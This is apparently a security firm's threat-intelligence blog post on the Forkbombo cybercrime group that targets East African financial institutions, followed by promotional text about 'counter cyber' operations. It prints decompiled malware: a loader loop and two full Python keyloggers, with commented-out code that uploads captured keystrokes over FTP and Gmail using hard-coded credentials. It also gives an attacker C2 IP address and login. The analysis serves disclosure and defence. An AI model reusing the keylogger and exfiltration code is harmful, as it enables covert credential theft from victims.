The Toolset Forkbombo used when it was a cartel

The tools mentioned herewith, should now be detectable in every targeted environment. Reversing such PEs is vital for Adversary pursuit and for Computer Network Defense (CND)

Before the Forkbombo went back into a smaller group, it used to be a Cartel that was build by one former government official who was aware of the small teams as early as 2010 when cyber crime started to hit several East African financial institutions. According to the CTI collected, the officer brought these teams together which grew into a big cyber cartel from 2015 to mid 2017, then they broke up into five different threat groups targeting Financial Institutions.

During their era as a bigger Cartel, several tools were developed and some are still in play, though as OnNet if you find these tools we will name here, then be aware that you were OWNED long time ago and the adversary’s objectives were achieved, plus several backdoors either hardware, software or human are surreptitiously running in your environment.

The first tool they used was a meterpreter python injector in 2016 that dropped a meterpreter DLL which called a Control Server on a NATted box behind a JTL router. The screenshot of the module running is shown below:

The tool had a loader script they called endpoint.exe, which OnNet named the same. It was written in python and set on the startup folder of the penetrated systems. OnNet decompiled the code shown as below:

import os 
import time 

os.chdir("c:\\programdata") 

print os.getcwd() 
while True:     
       os.system("start /MIN https443pip.exe")     
       print "going to sleep"
       time.sleep(3600)     
       print"wking up"

This would call https443pip.exe which OnNet code-named as MetaPipe.

From the exif metadata, the tool was deployed on 5th of January 2016 to several targeted organizations.

File Modification Date/Time : 2016:01:05 10:46:24+03:00

https://www.virustotal.com/gui/file/d2f60223b5e6a23414cac66a5a87a1cd5441299035a2e0ae32a378994a469238/details

This dropped a very old variant of HailMary keylogger that was named Manualklg, which their developer had overwritten and was noisy plus it uploaded data to a techrepublic account in ftp.drivehq.com. A reversed version of the code is as below:

import pythoncom, pyHook, sys, logging, socket, datetime, os, win32gui,time
from threading import Timer
from threading import Thread
#import shutil
import ftplib, base64

keyids = {
    8:'bksp',
    9:'tab',
    13:'enter',
    19:'Pause',
    20:'capslock',
    27:'Esc',
    32:'space',
    33:'pgup',
    34:'pgdn',
    35:'end',
    36:'home',
    37:'leftarrow',
    38:'uparrow',
    39:'rightarrow',
    40:'downarrow',
    44:'Prt Scr',
    45:'insert',
    46:'del',
    48:'0',
    49:'1',
    50:'2',
    51:'3',
    52:'4',
    53:'5',
    54:'6',
    55:'7',
    56:'8',
    57:'9',
    65:'a',
    66:'b',
    67:'c',
    68:'d',
    69:'e',
    70:'f',
    71:'g',
    72:'h',
    73:'i',
    74:'j',
    75:'k',
    76:'l',
    77:'m',
    78:'n',
    79:'o',
    80:'p',
    81:'q',
    82:'r',
    83:'s',
    84:'t',
    85:'u',
    86:'v',
    87:'w',
    88:'x',
    89:'y',
    90:'z',
    91:'lwin',
    92:'rwin',
    93:'apps',
    96:'num0',
    97:'num1',
    98:'num2',
    99:'num3',
    100:'num4',
    101:'num5',
    102:'num6',
    103:'num7',
    104:'num8',
    105:'num9',
    106:'num*',
    107:'num+',
    109:'num-',
    110:'num.',
    111:'num/',
    112:'F1',
    113:'F2',
    114:'F3',
    115:'F4',
    116:'F5',
    117:'F6',
    118:'F7',
    119:'F8',
    120:'F9',
    121:'F10',
    122:'F11',
    123:'F12',
    144:'numlock',
    145:'scrolllock',
    160:'lshift',
    161:'rshift',
    162:'lctrl',
    163:'rctrl',
    164:'lalt',
    165:'ralt',
    186:';',
    187:'=',
    188:',',
    189:'-',
    190:'.',
    191:'/',
    192:'~',
    219:'[',
    220:'\\',
    221:']',
    222:"'"
    }
COMPUTER_NAME= socket.gethostname()+" "+ socket.gethostbyname(socket.gethostname()) + ": "

#print COMPUTER_NAME
LOGGED_IN=os.getenv('USERNAME')
file_name=os.getenv('userprofile')+"\\" +LOGGED_IN+".tar.gz"
now = datetime.datetime.now()

class KeyBoardHook():

    try:
        f = open(file_name, 'a')
    except:
        f = open(file_name, 'w')
    f.write("\n^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^")
    f.write('\nTHIS IS THE START-UP: '+time.asctime()+">")
    f.write("\n^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^")
        
    
    f.close()

    def onApp(self, appname):
        try:
            self.f = open(file_name, 'a')
        except:
            self.f = open(file_name, 'w')
        if appname != self.app:
            self.app = appname

            self.f.write("\n======================================================================================================================== \n")
            self.f.write("<<DATE TIME>>: "+time.asctime()+"<<ACTIVE WINDOW:>> "+self.app+': '+">> HOST <<"+COMPUTER_NAME+ ">> USER <<"+ LOGGED_IN+'>>')
            self.f.write("\n------------------------------------------------------------------------------------------------------------------------ \n")
            sys.stdout.write('\n\n'+time.asctime()+'\n'+self.app+': ')
        self.f.close()

    def onKeyboardEvent(self, event):
        KeyID = event.KeyID
        Ascii = event.Ascii
        self.onApp(event.WindowName)
        try:
            self.f = open(file_name, 'a')
            #self.f.write("Append mode")
        except:
            self.f = open(file_name, 'w')
            #self.f.write("write mode")
        if ((KeyID in range(48, 91))
            or (KeyID in range(96, 112))
            or (KeyID in range(186, 223))
            or (KeyID == 32)
            ):
            sys.stdout.write(chr(Ascii))
            self.f.write(chr(Ascii))
        if KeyID == 8:
            sys.stdout.write('\b\x00\x00\b')
            self.f.write('[BACK]')
        if (KeyID == 9):
            sys.stdout.write('\t')
            self.f.write('\t')
        if (KeyID == 13):
            sys.stdout.write('\n\t[ENT]')
            self.f.write('\n\t[ENT]')
        if (KeyID ==32):
            sys.stdout.write("[SPC]")
            self.f.write("[SPC]")
        if (KeyID ==9):
            sys.stdout.write("[TAB]")
            self.f.write("[TAB]")
        elif ((KeyID not in range(48, 91))
              and (KeyID not in range(96, 112))
              and (KeyID not in range(160, 162))
              and (KeyID not in range(186, 223))
              and (KeyID != 32)
              and (KeyID != 8)
              and (KeyID != 9)
              and (KeyID != 13)
            ):
            try:
                sys.stdout.write("[%s]"%(keyids[KeyID]))
                self.f.write("[%s]"%(keyids[KeyID]))
            except:
                sys.stdout.write("[%d]"%(KeyID))
                self.f.write("[%d]"%(KeyID))
        self.f.close()
        return True

    def __init__(self):
        self.app = ''

def klg():
    KB = KeyBoardHook()
    while True:
        hm = pyHook.HookManager()
        hm.KeyDown = KB.onKeyboardEvent
        hm.HookKeyboard()
        pythoncom.PumpMessages()

##if __name__ == '__main__':
##    main()


##def klg():
##    #KB = pyHook.HookManager()
##    KB = KeyBoardHook()
##    hm.KeyDown = OnKeyboardEvent
##    hm.HookKeyboard()
##    pythoncom.PumpMessages() #will wait forever
##    return True

##def ftp_nc():
##    while True:
##        #print dir(ftplib)
##        try:
##            ftp = ftplib.FTP('ftp.drivehq.com','techdynamic','P@ssw03d')
##            with open(file_name,"rb") as f:
##                directory, filename = os.path.split(file_name)
##                ftp.cwd("//PF")
##                ftp.storbinary('STOR ' + filename, f)
##                
##                new_name=time.strftime('%Y_%m_%d_%H_%M_%S')+"_"+filename               
##                ftp.rename(filename,new_name)
##                ftp.quit()
##                print "Uploaded Successfullt"
##            
##                time.sleep(3600)
##        except Exception, e:
##            print e
##            time.sleep(600)
##   
##    return True

#main loop

ss = Thread(target=klg, args=())
ss.start()

##zz = Thread(target=ftp_nc, args=())
##zz.start()

Forkbombo went ahead and started to rewrite the HailMary keylogger into different versions which also meant uploads to gmail accounts and others variants that retained their data on the infected PC until the ForkBombo operators armed with psexec would log in and copy the data to a hidden laptop in the targeted infrastructure. That keylog data would then be exfiltrated to their command center for analysis targeting credentials.

The next keylogger they started to populate was called lg_tr.exe with md5 hash of 63ad4cb163ae7c0506ed6c7ff8fa8fef.

OnNet DARE team, decided to upload this variant to VT a month ago, June 2019, because for some reason, some of the best Anti-viruses applications, were not yet apprehending it as malicious in targeted organizations. https://www.virustotal.com/gui/file/0d560d78a6891df181e0874c53628f3678c08e2ec77627a04ff6c642a9cc4e68/detection

This logger was saved and compiled from a python script. tech_klg.py as saved on intruders computer during development.

The reversed source code is as below, note the keylogger was still saving files as .tar.gz. They still had not moved to tar.zip. Other versions later in 2018-2019 moved to save logger data as .ini or .sys file extensions to hide their outputs and emulate operating system files.

import pythoncom, pyHook, sys, logging, socket, datetime, os, win32gui,time
#import smtplib
###from email.MIMEMultipart import MIMEMultipart
##from email.MIMEBase import MIMEBase
##from email.MIMEText import MIMEText
##from email import Encoders
#global MAIL_SENT
#MAIL_SENT=False
##gmail_user = "forkbombo@gmail.com"
##gmail_pwd = "mlimani_25891011"
LOG_NEWACTIVE=''
LOG_ACTIVE=''
LOG_TEXT=''
now = datetime.datetime.now()
COMPUTER_NAME= socket.gethostname()+" "+ socket.gethostbyname(socket.gethostname()) + ": "
LOGGED_IN=os.getenv('USERNAME')
PATH_FILE=os.getenv('UserProfile')
FILE_NAME=str(PATH_FILE)+"\\"+LOGGED_IN+'.tar.gz'
#================================================================
##def mail(to, subject, text, attach):
##   msg = MIMEMultipart()
##   msg['From'] = gmail_user
##   msg['To'] = 'forkbombo@gmail.com'
##   msg['Subject'] = subject
##   msg.attach(MIMEText(text))
##   part = MIMEBase('application', 'octet-stream')
##   part.set_payload(open(attach, 'rb').read())
##   Encoders.encode_base64(part)
##   part.add_header('Content-Disposition',
##           'attachment; filename="%s"' % os.path.basename(attach))
##   msg.attach(part)
##   mailServer = smtplib.SMTP("smtp.gmail.com", 587)
##   mailServer.ehlo()
##   mailServer.starttls()
##   mailServer.ehlo()
##   mailServer.login(gmail_user, gmail_pwd)
##   mailServer.sendmail(gmail_user, to, msg.as_string())
##   # Should be mailServer.quit(), but that crashes...
##   mailServer.close()
###================================================================
def OnKeyboardEvent(event):
    global LOG_NEWACTIVE, LOG_ACTIVE, LOG_TEXT,FILE_NAME,MAIL_SENT
    LOG_NEWACTIVE=''
    wg=win32gui
    LOG_NEWACTIVE = wg.GetWindowText (wg.GetForegroundWindow())
    if LOG_NEWACTIVE != LOG_ACTIVE:
        #----------
        LOG_TEXT += " " + LOG_NEWACTIVE + " |\n"
        LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n\n"
        #-----------
        LOG_ACTIVE = LOG_NEWACTIVE
        print LOG_NEWACTIVE 
#-----------------------
        f = open(FILE_NAME, 'a') # or 'w'?
        f.write("\n====================================================== \n")
        f.write("<Active Window: "+ " |<< "+event.WindowName+">> Date <<"+str(now)+">> HOST <<"+COMPUTER_NAME+ ">> USER <<"+ LOGGED_IN+'>>\n')
        f.write("\n------------------------------------------------------------------------------------------------------------------------ \n")
        f.close()
#-----------------------
    LOG_TEXT = ""	
    if event.Ascii == 8: LOG_TEXT += "\b"
    elif event.Ascii == 13 : LOG_TEXT += " [ENT]\n"
    elif event.Ascii == 9: LOG_TEXT += " [Tab]\n"
    elif event.Ascii == 14 or event.Ascii == 15: LOG_TEXT += "[shift]"
    
    else: LOG_TEXT += str(chr(event.Ascii))
    print LOG_TEXT
    #--------------
    f = open(FILE_NAME, 'a') # or 'w'?
    f.write(LOG_TEXT)
    f.close()
    #x can be a conditional for something
    #==========================================================================
##    TIM=int(time.strftime('%H%M'))
##    if TIM>1100 and MAIL_SENT==False:
##               mail("forkbombo@gmail.com","Subject","Body",FILE_NAME)
##               print "Sent mail"
##               MAIL_SENT=True
##               #time.sleep(14400)
    #==========================================================================
    return True
#==============================  
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages() #will wait forever

The same Adversary group also specialized in a backdoor, also written in python known as SeaDuke. When the Cartel broke up, this tool development stalled until SilentCards picked up on it late last year, 2018, with OnNet collecting several unique binaries across several Financial organizations.

The oldest version of SeaDuke backdoor called a C2 server in Brazil with IP 177.36.242.57, username thab0ss and password $#!^ which happened to be almost the same credentials to log into the server. Inside was a list of the organizations, Forkbombo were targeting from 2014 as seen below:

Counter cyber with, CNE (Computer Network Exploitation) strategy against the intruders, helped the client understand and visualize how the adversaries copied keyloggers and renamed them across the machines in the target environment as illustrated below:

Since the group broke up mid 2017, OnNet has observed an uproar of different variants of tools especially from the remaining members of this group and a specialized coder from a threat group known as Grapzone. These changes have shaped up a rather peculiar diversity on adversarial penetration of Financial Organizations around East Africa in high numbers, therefore enriching the threat group leaders with immense and illegally acquired wealth.

Tooth Brushes and GoBags, when we go Counter Cyber

The Culture

When analysts join our ranks, the culture we had when most of us worked for different Governments between EU and EAfrica, was GoBags and all-nighters. These are usually essential when you are dealing with high level advanced actors. When most of us were in public service and running CNO, the mission always came first whilst in Private sector, its much different and adapting is essential because, what a client requires in such an engagement is a solution that will ensure continuation of his/her business.

Engaging The Adversaries

But, adversaries don’t require that due to the fact they are on a mission, they don’t ask for your ISO Cert or when you did your Pentest last, they have an objective which they need to service. So if the analysts coming to respond are not prepared to counter, the actors will be in a position to plant tools anywhere they wish to, at any time they necessitate thus making it hard to counter them. In the end, you find that even after a few machines are cleaned, the actor is able to run lateral movements through the environment detonating their tools at will. Hard work and in battle formation is imperative during counter cyber. Every adversary we encounter at OnNet has an operational timeline, and if you want to be ahead of them, you have to work twice as hard to access their breakout time, how they got foothold and their initial access into a subnet/environment. Advanced actors want to have a few active implants down into the environment while meeting mission objectives. The most dangerous are those that set up passive implants that call home after months, and these actors usually put the work between beachhead to foothold and then to expansion in months, close to an year of CNE operations.

Such stealth and methodical penetration is usually extremely hard to detect and if the tools are custom, the harder it becomes for a normal analyst to pick up such a threat. This is where in OnNet we come through for you, and during such counter cyber operations, there will always be offense.

Cyber Threat Intelligence

Having prior Threat Intelligence does help a lot on stopping the actor, in government, Intelligence is the first line of defense during a conflict or even at peace time. Approaching the environment that way, gives you leeway to set up on the high grounds and watch the battlefield. Getting ready requires camping at clients and collecting data, usually a lot of it and running it through analytics. This helps your operators on the high grounds and down range to understand the intent of the adversaries. You cannot assume or even result to think that they are irrational, due to their actions in the network because as a analyst you didn’t make sense of their intent and capabilities before the fire fight starts. This can result to failure during response and counter cyber ops. Thus, when on the battleground, soldiers do not go home until the dust settles and everything is cleared out .

Fifth Domain Of War

Cyber being the fifth domain of war, at OnNet we fight until the end.

When the fight starts, an infiltrate teams objective, is to zero on the target and take it out to the exclusion of all else. But remember these teams don’t identify everything besides their target through the scope of their rifles sights. A leader has to come through for them surrounded by his/her Threat Intel team and as much as he/she wants to fire, he/she needs to keep their weapon at full port arms, and listen to the intelligence dripping in while scanning the entire battlefield to see and apprehend it all, for action.

The new Age of Information Operations

Cyber has reached a new era of Information Operations, you cannot defend an institution without countering the actors as if you are in a battleground. Waiting for containment to be initiated after the actor has accomplished their mission should not be the case. Prevention should be executed real fast by stopping the adversaries before they succeed in their objectives.